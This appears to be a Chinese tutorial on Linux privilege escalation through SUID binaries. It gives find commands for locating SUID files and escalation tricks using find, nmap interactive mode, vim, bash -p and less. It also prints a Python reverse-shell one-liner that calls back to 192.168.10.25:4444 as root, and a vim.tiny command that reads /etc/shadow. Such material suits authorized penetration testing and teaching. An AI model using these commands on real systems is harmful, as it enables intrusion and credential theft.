关于SUID详细:Linux下的用户、组和权限
SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
已知的可用来提权的linux可行性的文件列表如下:
- nmap
- vim
- find
- bash
- more
- less
- nano
- cp
以下命令可以发现系统上运行的所有SUID可执行文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null

我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
![]()
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami \;

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

于是我们以root用户的身份利用python反弹shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
![]()
可以看到,在攻击端收到了反弹过来的shell,并且是root身份

Nmap
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
|
1
|
nmap -V |
为了启动交互模式,可以使用Nmap参数“interactive”。
以下命令将提供一个提权后的shell
|
1
2
3
|
nmap> !shsh-3.2# whoamiroot |
Vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
|
1
|
vim.tiny /etc/shadow |
此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。
|
1
2
3
4
|
vim.tiny# Press ESC key:set shell=/bin/sh:shell |
Bash
以下命令将以root身份打开一个bash shell
|
1
2
3
|
bash -pbash-3.2# iduid=1002(service) gid=1002(service) euid=0(root) groups=1002(service) |
Less
程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。
|
1
2
|
less /etc/passwd!/bin/sh |







浙公网安备 33010602011771号